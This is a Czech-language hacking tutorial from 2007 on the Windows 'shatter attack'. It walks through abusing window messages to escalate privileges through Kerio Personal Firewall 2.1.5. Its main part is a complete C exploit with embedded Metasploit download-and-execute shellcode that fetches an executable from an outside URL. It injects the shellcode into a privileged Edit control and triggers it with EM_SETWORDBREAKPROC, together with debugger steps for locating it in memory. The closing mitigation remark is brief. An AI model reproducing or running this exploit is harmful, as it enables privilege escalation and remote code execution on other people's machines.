Shatter Attack

Zdroj: SOOM.cz [ISSN 1804-7270]
Autor: ask@t
Datum: 18.4.2007
Hodnocení/Hlasovalo: 1.88/26

V tomto clanku se dozite neco o utoku typu shatter attack na windows. Jak funguje, jak ho provest a zaklady mechanismu zprav winu.

Co potrebujete:debugger ollydebug
zakladni znalost programovani ve windows API
(pokud neumite, nevadi staci jen znalost nejakeho jazyka jez ma podobnou syntax jako c++)
hlavu
a kompilator(pro line tu mam i binarky ale u tech nevite co v nich opravdu je :->)
proces explorer(dale jen PE)
download
a kerio personal firewall verze 2.15
download

Co to je?

Na svete je spousta zakernych mallwarovych programu/skriptu. Hodne z nich se snazi zakryt svou cinnost a ziskat prava roota aby tuto cinnost mohly provadet. V tomto clanku popisu jak vyuzit zpusob mechanismu zprav pro vnoreni naseho zakerneho kodu treba do programu kerio personal firewall a taky bych chtel poukazat na zavaznou zranitelnost programu pod windows a zpusobu chovani windows jako takovych.
(pokud programujete pod windows API tak tyto 2 odstavce klidne preskocte a prejdete na nadpis exploitujeme kerio)

Mechanismus zprav

Pro ty, kteri nevi co je to mechanismus zprav windows kratke vysvetleni: Jadro windows reaguje nepretrzite na zpravy. Zprava muze byt posun mysi, stisk klavesy, ci ji muze poslat program.Windows pote zpravu zpracuji a provedou akci - posun kurzoru, zmena sys.data, preskoceni do jineho okna..... Tento mechanismus vznikl davno pred tim, nez se dostala pocitacova bezpecnost do lidskeho povedomi.
Tento system ma 2 slabiny,
:neni mozne urcit odesilatele zpravy-->vsechny zpravy maji stejnou prioritu
:se zpravami byvaji predavany ukazatele na f-ce.

Rozebrani pouzitych f-ci

K poslani zpravy slouzi f-ce sendmessage()
1.parametr je handle okna, ktery je adresatem (handle = :"nazev" okna aplikace POZOR HANDLE OKNA SE NEROVNA NADPIS OKNA)
2.parametr - druh zpravy-viz tabulka
handle okna
K zjisteni handlu okna pouzivame f-ce findwindow()(dale jen fw) a findwindowex()(dale jen fwex)
1.parametr f-ce fw = nazev tridy okna(v nasem priklade je to "notepad")
2.parametr f-ce fw nas nezajima

f-ce fwex je schopna najit potomky hlavniho okna(notepad)
1.parametr = tzv. top-level okno(notepad)
2.parametr = nezajima nas = null
3. parametr = hledame podokno s nazvem "edit"
4.parametr = null

Notepadovy priklad odeslani zpravy
ZDe odeslu zpravu wm_paste(totez co CTRL + V) do notepadu.
kod
#include <windows.h> #include <stdio.h> int main(){ HWND hlavokno, potomek; hlavokno = FindWindow("Notepad", NULL);//hledam top level okno if(hlavokno == NULL){//pokud zadne takove okno //zrovna nebezi vypise hlasku printf("musite nejdriv spustit notepad"); system("pause"); return 1; } potomek = FindWindowEx (hlavokno, NULL, "Edit", NULL);//hledame potomka edit if (potomek == NULL){//kdyz nenajde potomka //vypise chybu printf("nelze najit okno edit"); return 1; } SendMessage(potomek, WM_PASTE,0,0);//posleme //zpravu printf("vse by melo probehnout v pohode"); system("pause"); }
Jestli chcete kompilovat tak predtim zmazte komentare co presahuji radku
Kdyztak tu mam binarky
Tak ted ulozte neco do schranky otevrete notepad a spustte nas program. Heureka obsah schranky se zkopiroval.

Exploitujeme Kerio

Ted si ukazeme neco praktictejsiho. Programy jez obsahuji ovladaci okno edit(nebo richedit) jsou nachylne k utoku pomoci odeslani zpravy EM_SETWORDBREAKPROC, pomoci teto zpravy muzeme zmenit f-ci pro zalamovani textu v techto oknech.
K tomu abysme spustili vlastni shellode musime ho nejdriv programu zpristupnit a pote najit v pameti abysme vedeli jakou adresu pomoci f-ce setwordbreakproc volat.
(Mozna si vzpomenete na clanky na tema cracking ktere buh vi proc odsad zmizely)
Shell code programu zpristupnime tak ze ho ulozime do ovladaciho prvku edit.
(Pomoci f-ce WM_SETTEXT a aby se nam tam ten kod vesel tak pro jistotu predtim odeslem zpravu EM_SETLIMITTEXT a kdyby byl nas prvek edit jen pro cteni tak to zrusime zpravou EM_SETREADONLY)
Tak a mame zaruceno ze shellcode se ocitne v pameti ted ho jen najit. Nejdriv si shellcode vytvorime v metasploit framework.
(Psat shellcode mne fakt nebavi tak si ho vygeneruji. Na adrese http://metasploit.com:55555/PAYLOADS?FILTER=win32) Zajimave zni nadpis Windows Executable Download and Execute.(Zkuste si ale treba neco jineho)Do pole data mam dat url takze treba
http://www.soom.cz/data/optical.exe.
Tak a mam shellcode.)
Ted potrabujem zneuzitelny program s co nejvyssimi pravy.Kerio personal firewall verze 2.1.5 je vyborny. (Nevim jak jsou na tom novejsi verze, ale asi lip) A ted primo k zneuziti. Nejdrive v PE najdem okno s prvkem edit.
screen
Pote spustime debugger a pripichnem ho k procesu okna(file-->attach) Okna s kerio firewallem jsou tam asi 3 proto jsme predem zjistili cislo procesu s PE.(v ollym je to v hexadeci v PE je v desitkove takze pomoci kalkulacky prevest)
screen
Ted nam zbyva jen zjistit na jake adrese se vnoreny shellcode vyskytuje. Udelame pracovni verzi exploitu a na jeho zacatek dame retezec co v pohode najdem
(treba nomine, pokud nebyli sunbeltaci nabozensky zalozeni tak to tam dvakrat nebude) Na konec exploitu pridam poslani zpravy WM_LBUTTONDBLCLK ktera vyvola f-ci zalamovani taxtu, coz je ta f-ce kterou jsme upravili a tak se spusti nas shellcode
#include <windows.h> #include <stdio.h> /* win32_downloadexec - URL=http://www.soom.cz/data/optical.exe Size=400 Encoder=PexFnstenvSub http://metasploit.com */ unsigned char scode[] = "nomine\x31\xc9\x83\xe9\xa2\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc2" "\xe9\x1a\x8a\x83\xeb\xfc\xe2\xf4\x29\xf9\x40\xc0\xf1\x20\x7c\x33" "\xfe\xe8\x9a\xbe\xc8\x70\xf8\x70\x29\xec\xf2\x61\x3d\x16\xe5\xfa" "\x8e\x70\x83\x13\x01\x14\x22\x23\x5b\x70\x83\x98\x1b\x7c\x08\x63" "\x47\xdd\x08\x53\x53\xfb\x5b\x98\x28\x4c\x08\x67\x45\x08\x80\xe0" "\xd0\x0e\xa3\x10\xa0\xfb\xcd\x07\x68\x9d\xd5\x44\x0a\xfb\xbc\x10" "\xa0\xfb\x71\x79\x55\x29\x70\xb5\x2f\x78\xda\x4c\xd8\xb7\x87\x56" "\xb9\x99\xda\x4c\x05\xfb\x4e\x98\x1d\x54\x80\xd0\x8a\x91\x80\xd2" "\x68\xb9\xe5\x98\x53\xfb\xc5\x0f\x58\xb3\x42\xf2\x59\x73\x42\x98" "\x5b\x73\x40\x98\xa1\xfb\x74\x90\x9d\x7e\x08\xc3\x31\x74\xda\xfb" "\x0b\x70\x83\x13\xd8\xb6\x8e\x41\x0d\x8f\xd4\xef\x01\xfb\x5b\x79" "\x5a\x29\x6b\x2e\x5b\x70\x83\x90\x9d\x63\xd5\x55\xdb\x4e\x03\x66" "\xa1\xf0\xb5\x93\x05\xf3\x6f\x33\xd0\xac\xe9\x33\x08\x8f\xd4\xff" "\x9c\x74\x80\x4f\x3a\x5e\xe6\xd4\x1f\x73\x87\x6b\x3e\x70\x83\x20" "\x9b\x20\xd3\x40\x0d\x20\x7c\x44\xa7\xfb\x5f\x43\x08\x8f\xd4\xe3" "\x0b\x8f\xd4\xe7\x68\xb0\x2f\x96\x9b\x05\x7a\x42\x09\x26\xd0\xec" "\x89\x2a\xda\xb8\xb9\x9e\xb0\xd3\x98\x98\xa5\xec\xa4\x8f\xc4\x76" "\x2f\x20\xf1\x7c\x38\x31\xe7\x77\x29\x15\xf0\x60\x5b\x37\xe6\x67" "\x08\x09\xf0\x67\x3e\x1d\xc7\x7a\x29\x15\xe0\x67\x34\x02\xfa\x52" "\x5b\x27\xea\x7d\x1e\x08\xe6\x70\x5b\x35\xfb\x7a\x2f\x24\xeb\x61" "\x3e\x11\xe7\x13\x17\x1f\xe2\x77\x17\x19\xe1\x61\x3a\x02\xfa\x52" "\x5b\x05\xf1\x7f\x36\x1f\xed\x13\x0e\x22\xcf\x57\x34\x07\xed\x7f" "\x34\x11\xe7\x47\x34\x36\xea\x7f\x3e\x31\x83\xe2\xb6\x9d\x6a\xb0" "\xed\xc6\x6d\xfd\xb5\xc7\x69\xe5\xad\x84\x34\xe9\xb8\xc6\x7e\xeb" "\xb6\x88\x35\xe5\xb2\x9d\x73\xe9\xa3\x85\x34\xef\xba\x8c\x9a\x8a";int main() { HWND ParentWnd, ChildWnd; LONG scaddr; ParentWnd = FindWindow("#32770", "Kerio Personal Firewall"); if(ParentWnd == NULL) { printf("Nnasel jsem hlavokno\n"); system("PAUSE"); return 1; } ChildWnd = FindWindowEx(ParentWnd, NULL, "Edit", NULL); if(ChildWnd == NULL) { printf("Nenasel jsem prvek edit!\n"); system("PAUSE"); return 1; } if(SendMessage(ChildWnd, EM_SETREADONLY, FALSE, 0)==0) { printf("Nepodarilo se mi pridat prava pro zapis!\n"); system("PAUSE"); return 1; } SendMessage(ChildWnd, EM_SETLIMITTEXT, sizeof(scode), 0); if(!SendMessage(ChildWnd, WM_SETTEXT, 0, (LPARAM)scode)) { printf("Nepodarilo se vlozit shellcode!\n"); system("PAUSE"); return 1; } printf("Napis adresu shellcode z debuggeru(ex. 0x0014E360):\n"); scanf("%x", &scaddr); SendMessage(ChildWnd, EM_SETWORDBREAKPROC, 0L, scaddr); SendMessage(ChildWnd, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0x000a000a );}
binarky
Ted spustime program a pokud vse vyjde napise:
"Napis adresu shellcode z debuggeru(ex. 0x0014E360):"
Nyni musime bajit shellcode v pameti.V ollydebug(ktery je stale pripojen k oknu s prvky edit) si vyjedem memory map A adresu prvniho znaku zadame do programu souhrn S timto si pote muzete se systemem delat co chcete staci jen prohazovat shellcody.

Zaverem

Nebot je tato chyba v mechanismu windows jeji opraveni bude potrebovat pravdepodobne velke zmeny v samotnem jadru takze to bude urcite jeste dlouho fungovat.
Nicmene program muzeme udelat rezistentni tim, ze budeme striktne oddelovat cast jez pracuje s uzivatelem a cast ktera ma prava system. Uplny exploit ktery by nepotreboval nasi asistenci pres PE a olly tu radeji zverejnovat nebudu protoze kazdy kdo umi si ho bud sam napise ci najde.(Opravdu na internetu je, staci jen hledat(treba casopis hakin9 ktery mi k tomuto clanku poslouzil)) A kdo neumi tak alespon odted vi, jak to funguje a muze si s tim vyhrat.

Zdroje:Hakin9 Cislo 3/2006-Clanek Shatter Attack
Autor:Krzystof Wilkos
http://www.rootsecure.net/content/downloads/pdf/shatter_attack_redux.pdf